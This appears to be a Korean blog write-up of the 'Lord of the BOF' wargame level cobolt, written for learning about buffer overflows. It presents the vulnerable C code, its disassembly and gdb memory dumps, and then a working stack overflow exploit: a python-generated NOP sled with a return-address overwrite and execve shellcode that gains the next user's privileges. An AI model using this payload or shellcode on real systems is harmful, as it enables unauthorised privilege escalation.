Wargame/Hackerchool

[lob] gremlin -> cobolt

wyv3rn 2022. 9. 12. 10:12
728x90
반응형

1. intro

 

2. code 및 분석

2.1  C code

/*
        The Lord of the BOF : The Fellowship of the BOF
        - cobolt
        - small buffer
*/

int main(int argc, char *argv[])
{
    char buffer[16];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}

 

2.3. 분석

2.3.1. assembler code (중요 부분)

...
0x8048453 <main+35>:	mov    0xc(%ebp),%eax #ebp+0xc의 값을 eax에 넣고
0x8048456 <main+38>:	add    $0x4,%eax #eax + 0x4 주소를 eax에 넣고
0x8048459 <main+41>:	mov    (%eax),%edx #eax의 값을 edx에 넣는다.
0x804845b <main+43>:	push   %edx
0x804845c <main+44>:	lea    0xfffffff0(%ebp),%eax #ebp-16에 복사한다.
0x804845f <main+47>:	push   %eax
0x8048460 <main+48>:	call   0x8048370 <strcpy>
...

 

3. 취약점 확인 및 공격 준비

3.1 취약점

ebp-0x10 위치에 argv[1]을 복사하는데 그 크기를 체크하지 않아 main 함수의 return address를 변조할 수 있다.

 

3.2 공격 준비

이번 문제는 ebp - 0x10 위치에 argv[1]을 복사하는데, 제작된 shellcode의 크기가 28 bytes 이기에 그 크기가 다소 작다.

하지만 어셈블러 코드를 다시 한번 보면 argv[1]을 복사하는 방법이

ebp + 0xc 의 값에 4를 더한 주소에서 가져오게 된다.

인자로 aaaaaaaaaa를 넣고 실행한 뒤 이를 차례로 따라가보면 아래와 같다.

(gdb) x/x $ebp+0xc
0xbffffb34:	0xbffffb74
(gdb) x/x 0xbffffb74+4
0xbffffb78:	0xbffffc80
(gdb) x/s 0xbffffc80
0xbffffc80:	 "aaaaaaaaaa"

즉, buf 변수에는 일부 값만 들어가더라도 실제로 값을 복사해오는 부분에서는 모든 값이 들어가있을 것임을 유추할 수 있다.

그러므로 페이로드는

nop (0x10) + sfp (0x4) + ret (0x4) + shellcode

가 될 것이며, return address는 argv[1]의 실제 주소로 공격하면 될 것이다.


사실 buf 변수의 공간이 작을 뿐이지 값은 정상적으로 모두 복사된다.

즉, 

nop (0x10) + sfp (0x4) + ret (0x4) + shellcode

에서 ret address를 main의 ret address + 4의 위치로 공격해도 무방하다.

 

4. exploit

마찬가지로 동일하게 공격하였는데 실패하였다.

[gremlin@localhost gremlin]$ ./cobola `python -c 'print "\x90"*0x10 + "aaaa" + "\x80\xfc\xff\xbf" + "\x90"*0x20 + "\x31\xc0\x89\xc2\x89\xc1\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"'`
aaaa󐐐1hpassh/my-h/bin 
                     㱍 
Segmentation fault (core dumped)

gdb로 실 주소를 확인하여 재 공격.

[gremlin@localhost gremlin]$ gdb -c core
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux".
Core was generated by `./cobola aaaa󐐐1hpassh/'.
Program terminated with signal 11, Segmentation fault.
#0  0xbffffc80 in ?? ()
(gdb) x/40x 0xbffffc80-0x100
0xbffffb80:	0x00000005	0x00000006	0x00000006	0x00001000
0xbffffb90:	0x00000007	0x40000000	0x00000008	0x00000000
0xbffffba0:	0x00000009	0x08048380	0x0000000b	0x000001f5
0xbffffbb0:	0x0000000c	0x000001f5	0x0000000d	0x000001f5
0xbffffbc0:	0x0000000e	0x000001f5	0x00000010	0x0f8bfbff
0xbffffbd0:	0x0000000f	0xbffffbf4	0x00000000	0x00000000
0xbffffbe0:	0x00000000	0x00000000	0x00000000	0x00000000
0xbffffbf0:	0x00000000	0x36383669	0x632f2e00	0x6c6f626f
0xbffffc00:	0x90900061	0x90909090	0x90909090	0x90909090
0xbffffc10:	0x61619090	0xfc806161	0x9090bfff	0x90909090
(gdb) 
0xbffffc20:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffc30:	0x90909090	0x90909090	0xc0319090	0xc189c289
0xbffffc40:	0x61706850	0x2f687373	0x682d796d	0x6e69622f
0xbffffc50:	0x0bb0e389	0x500080cd	0x2f3d4457	0x656d6f68
0xbffffc60:	0x6572672f	0x6e696c6d	0x4d455200	0x4845544f
0xbffffc70:	0x3d54534f	0x2e323931	0x2e383631	0x2e343332
0xbffffc80:	0x4f480031	0x414e5453	0x6c3d454d	0x6c61636f
0xbffffc90:	0x74736f68	0x636f6c2e	0x6f646c61	0x6e69616d
0xbffffca0:	0x53454c00	0x45504f53	0x2f7c3d4e	0x2f727375
0xbffffcb0:	0x2f6e6962	0x7373656c	0x65706970	0x2068732e

 

[gremlin@localhost gremlin]$ ./cobola `python -c 'print "\x90"*0x10 + "aaaa" + "\x30\xfc\xff\xbf" + "\x90"*0x20 + "\x31\xc0\x89\xc2\x89\xc1\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"'`
aaaa0󐐐1hpassh/my-h/bin 
                      㱍 
euid = 501
hello bof world
[gremlin@localhost gremlin]$ ./cobolt `python -c 'print "\x90"*0x10 + "aaaa" + "\x30\xfc\xff\xbf" + "\x90"*0x20 + "\x31\xc0\x89\xc2\x89\xc1\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"'`
aaaa0󐐐1hpassh/my-h/bin 
                      㱍 
euid = 502
hacking exposed
728x90
반응형